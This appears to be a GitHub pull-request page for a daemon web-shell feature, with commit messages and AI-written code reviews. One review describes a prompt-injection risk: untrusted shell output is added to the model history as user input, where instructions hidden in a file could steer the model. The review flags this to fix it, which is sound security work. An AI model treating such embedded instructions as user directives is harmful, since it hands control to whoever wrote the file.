Comment thread packages/webui/src/daemon/followupSidechannel.ts
Comment thread packages/webui/src/index.ts
Comment thread packages/webui/src/daemon/useDaemonFollowupSuggestion.ts
Comment thread packages/webui/src/daemon/followupSidechannel.ts
Comment thread packages/web-shell/client/components/messages/Markdown.tsx
Comment thread packages/webui/src/daemon/followupSidechannel.ts
ytahdn and others added 12 commits May 28, 2026 15:46
…ents

- Add GET /session/:id/context-usage endpoint (SDK types, acp-bridge,
  cli route, acpAgent handler with tests)
- Refactor webui daemon providers into session/ and workspace/ modules
  with daemon-react-sdk subpath export
- Web-shell dialog UX: replace left back icon with right-side ESC close
  button, fix keyboard scope so dialogs properly capture keys when input
  is focused, blur editor when dialog opens
- Remove /stats subcommands and model dialog custom model (c key) feature
- Remove slash completion auto-submit behavior (align with CLI)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…llel agents display

Security fixes:
- Mermaid securityLevel reverted to 'strict', strip foreignObject/style from SVG sanitizer
- Shift+Tab no longer silently sets yolo mode (only approves current request)
- clientLifecycle uses sessionStorage for per-tab client ID isolation

Bug fixes:
- cancel() finally block guards setPromptStatus with session-ID check
- lastRecapBlockCountRef resets on session switch
- collectContextData wrapped in try/catch with field stripping
- useDaemonResource: request sequence counter prevents stale response overwrite
- ResumeDialog: shows error state when session list fails to load
- detachDaemonClient: adds keepalive:true for tab-close reliability
- server.test.ts: adds session_context_usage to EXPECTED_STAGE1_FEATURES

Performance:
- useSyncExternalStore selector hoisted via useCallback

Feature:
- Parallel agents merged display (ParallelAgentsGroup component)

Tests:
- clientLifecycle.test.ts (9 tests): sessionStorage, keepalive, detach behavior
- useDaemonResource.test.tsx (5 tests): stale response race condition coverage
- Markdown.test.ts: updated foreignObject/style assertions to expect stripping

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Fix AskUserQuestion answer submission and rendering by forwarding answers through acp-bridge permission metadata while keeping arbitrary response fields filtered.

Improve the web-shell AskUserQuestion dialog: keep the submit tab in order, preserve custom input values, align cursor position with existing selections when switching tabs, and show selected/custom answers with a consistent underline state.

Show ask_user_question tool results without truncating the answer payload.
…ion review issues

Critical fixes:
- releaseSession: close session before detaching client to avoid orphaned sessions
- ParallelAgentsGroup: forward pendingApproval/onConfirm props so approvals render inside grouped agents
- fmtCategoryRow: guard against zero contextWindowSize division

Suggestion fixes:
- MemoryDialog: await reloadMemory() before showing success message
- useInputHistory: keep storageKeyRef in sync with prop changes
- App: reset lastRecapBlockCountRef on session switch to prevent auto-recap from silently failing
- App: log auto-recap errors instead of silently swallowing them
- acpAgent: log collectContextData failures instead of silent catch

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…ext answer keys

- parseContextUsageMessage: add runtime check for usage.totalTokens before casting, prevent white-screen on malformed daemon payload
- AskUserQuestion buildResult: use q.question as answer key instead of numeric index, matching downstream consumers that match answers by question text

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- sanitizeSvg: keep <style> (sanitize @import/external url()) and <foreignObject>
  so mermaid diagrams render with correct theming and visible text labels
- mermaid: skip redundant mermaid.initialize() when theme unchanged
- newSession: abort in-flight prompts before resetting store
- ParallelAgentsGroup: i18n for hardcoded English strings
- vite.config: restore rollupTypes: true for NodeNext compatibility
- AskUserQuestion: restore q.question as answer key

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…, deduplicate session switch, and add tests

- Add suppressErrorRendering to mermaid.initialize() to prevent error SVGs from being injected into the DOM on render failure
- Replace silent catch on detachDaemonClient with console.warn for debuggability
- Extract startSessionSwitch() helper to deduplicate loadSession/resumeSession
- Update sanitizeSvg tests to match current behavior (foreignObject/style preserved)
- Add groupParallelAgents unit tests covering grouping, splitting, and edge cases

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Fix useDaemonFollowupSuggestion import path after DaemonSessionProvider move to session/
- Merge daemon/index.ts exports (keep followup suggestion + add SDK type re-exports)
- Restore lastEventId/setLastEventId in test MockSession interface
- Remove non-existent DaemonWorkspaceSkillDetail re-export

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
…etadata

Reject non-string values in the answers payload to prevent malformed
data from being forwarded through the permission mediator to the agent.
…, and detach timeout

- transcriptToMessages: create standalone tool_group for shell output
  when previous message is not a tool_group (fixes silent drop of ! command output)
- actions: register sendShellCommand in activePromptsRef and manage
  promptStatus lifecycle (fixes stuck loading after shell command)
- actions: wrap detachDaemonClient with withActionTimeout in releaseSession
  to prevent indefinite hang when daemon is unresponsive
- ToolGroup: auto-expand bash/shell/execute_command tool output by default
- Add shell output tests for transcriptToMessages
- Differentiate state_resync_required by reason: epoch_reset resets store
  and replays on same stream; ring_evicted preserves awaitingResync and
  continues on same stream; other reasons keep original break+reconnect
- Clear awaitingResync on replay_complete so post-replay events flow
- Set catchingUp when activeSession.lastEventId is present, not only on
  same-session reconnect (fixes resume catchingUp indicator)
@ytahdn ytahdn force-pushed the feat/daemon-react-cli-rebase branch from 1ed169b to 37aff6c Compare May 28, 2026 07:48
…ter rebase

- Add getTasks() to DaemonSessionActions interface and implement in actions.ts
- Fix App.tsx: actions.getTasks → sessionActions.getTasks (variable renamed
  during refactor but this callsite was missed during rebase merge)

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

R6 — Incremental Review (67dae3c..37aff6c, 12 new commits)

Phantom Fixes Verification

R5 identified 9 fixes claimed in review replies but absent from HEAD. 8 of 9 are now confirmed present:

# Fix Status
1 fmtCategoryRow NaN% guard ✅ Fixed (contextCommand.ts:337)
2 ParallelAgentsGroup approval props ✅ Fixed (ParallelAgentsGroup.tsx:11-16)
3 releaseSession close before detach ✅ Fixed (actions.ts:325-341)
4 newSession abort in-flight prompts ✅ Fixed (actions.ts:222-234)
5 auto-recap rejection logging ✅ Fixed (App.tsx:600)
6 collectContextData catch logging ✅ Fixed (acpAgent.ts:2017)
7 parseContextUsageMessage validation ✅ Fixed (ContextUsageMessage.tsx:28-30)
8 storageKeyRef sync ✅ Fixed (useInputHistory.ts:33)
9 buildResult q.question vs String(i) ⚠️ Intentionally String(i) — author confirmed downstream consumers use numeric keys

Build & Test

  • Build: 3/3 packages pass (sdk-typescript, acp-bridge, webui)
  • TypeCheck: 0 errors
  • Tests: 1498/1500 pass (2 flaky: DaemonSessionProvider ring-evicted timing, acpAgent shutdown timeout — both pre-existing or test-timing issues, not production bugs)

New Findings (non-anchorable in diff — listed here)

[Suggestion] Shell output injected into LLM history without sanitizationpackages/cli/src/acp-integration/acpAgent.ts:2561

sessionShellHistory handler injects raw shell command output as role: 'user' via geminiClient.addHistory(). Malicious shell output (e.g., from cat malicious-file.txt) can contain prompt injection instructions that the LLM treats as user directives. Consider using role: 'tool' or wrapping with [SYSTEM: untrusted output] guardrails.

[Suggestion] executeShellCommand catch block hardcodes aborted: falsepackages/acp-bridge/src/bridge.ts:3441

The catch block always publishes aborted: false regardless of whether the abort signal fired. Fix: aborted: abort.signal.aborted.

[Suggestion] executeShellCommand output buffer unboundedpackages/acp-bridge/src/bridge.ts:3348

outputChunks accumulates all stdout for up to 120s with no size limit. A verbose command (cat /dev/urandom | base64) can produce GB-level output in memory. The 10K-char truncation only applies to history injection, not the returned ShellCommandResult.output.

[Suggestion] ring_evicted leaves misleading "Reload the session" error messagepackages/webui/src/daemon/session/DaemonSessionProvider.tsx

The transcript reducer unconditionally appends "Reload the session to recover" on state_resync_required. For ring_evicted, the Provider auto-recovers without user action, but the error block persists with misleading instructions.

[Suggestion] followupSidechannel not cleared on session switchpackages/webui/src/daemon/session/actions.ts

startSessionSwitch calls store.reset() but not clearSidechannelFollowupSuggestion(). A stale followup suggestion from the prior session may briefly appear in the new session's Editor.

[Suggestion] Shell execution test coverage gaps — 3 locations

executeShellCommand (bridge.ts, ~130 lines), POST /session/:id/shell (server.ts, ~50 lines), and sendShellCommand (actions.ts, ~25 lines) have zero test coverage. Every other POST route in server.ts has corresponding tests.

— qwen3.7-max via Qwen Code /review

Comment thread packages/webui/src/daemon/session/actions.ts Outdated
Comment thread packages/webui/src/daemon/session/actions.ts Outdated
ytahdn added 3 commits May 28, 2026 16:47
releaseSession was incorrectly calling detachDaemonClient with the
current client's ID, which only decremented attachCount without
actually closing the target session. Replace with
session.client.closeSession() (DELETE /session/:id) to properly
terminate the session. Also fix sendShellCommand to use a distinct
shellKey to avoid colliding with prompt AbortControllers.
…t, shell command

Resolve modify/delete conflict on web-shell/client/hooks/useDaemonSession.ts
by keeping deletion — web-shell now uses webui DaemonSessionProvider.
…t handling

- Add settleActivePromptFromTurnEvent to resolve/reject active prompts
  from turn_complete/turn_error SSE events in the Provider event loop
- Add isPromptLifecycleTurnEvent filter to prevent turn events from being
  dispatched to the transcript store as unrecognized debug events
- Add waitForAcceptedPromptCompletion in actions.ts to bridge the gap
  between 202-accepted prompts and their eventual turn completion
- Extend ActivePrompt type with promptId, resolve/reject callbacks, and
  pendingResult/pendingError for deferred settlement
- Add passive observer handling for turn_complete/turn_error so non-sender
  tabs correctly end the streaming state
- Add tests for non-blocking prompt acceptance and early turn completion

@chiga0 chiga0 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-review (QoderWork AI) — HEAD d06aa1f4f0

Finding Disposition

# Severity 原始问题 状态
1 Major buildResult key String(i) vs q.question (AskUserQuestion.tsx:98) 未修复 — HEAD 仍为 String(i)
2 Minor extractPermissionResponseMetadata string validation (bridge.ts:354) 已修复9b75458678 添加了 entries.every(([, v]) => typeof v === 'string')
3 Minor→Nit lastMermaidTheme module-level cache (Markdown.tsx:166) ⚪ 未修复,可接受
4 Minor→Nit getModeFromSessionContext loose cast (actions.ts:456) ⚪ 未修复,可接受

New Commits (7 since last review)

所有新提交质量良好,未发现新问题:

  • 9b75458678 — permission metadata string validation ✅
  • dd27a4c964 — releaseSession 改用 closeSession ✅
  • d06aa1f4f0 — non-blocking prompt settlement,race condition 处理正确 ✅
  • 其余 4 个 fix 提交均为合理的 bug fix / rebase 调整

Remaining Blocker

Finding 1 是唯一 blocker:commit c2e3f1f1de 声称 "restore question-text answer keys",但 HEAD 代码仍使用 String(i)。如果这是有意的设计变更(用索引替代问题文本作为 key),请更新 commit message 或添加说明;如果是 merge conflict 导致的回退,请恢复为 q.question

This review was generated by QoderWork AI

@chiga0 chiga0 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM. All 4 findings from previous review have been addressed:

  1. buildResult key String(i) — confirmed intentional (downstream uses numeric index keys)
  2. extractPermissionResponseMetadata string validation — fixed
  3. lastMermaidTheme module-level cache — valid rationale (mermaid is global singleton)
  4. getModeFromSessionContext loose cast — valid rationale (cross-version compatibility)

New commits (non-blocking prompt settlement, releaseSession fix, permission validation) are well-implemented.

This review was generated by QoderWork AI

@ytahdn ytahdn dismissed wenshao’s stale review May 28, 2026 09:58

问题已修复

@ytahdn ytahdn merged commit 1f34c18 into QwenLM:daemon_mode_b_main May 28, 2026
3 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants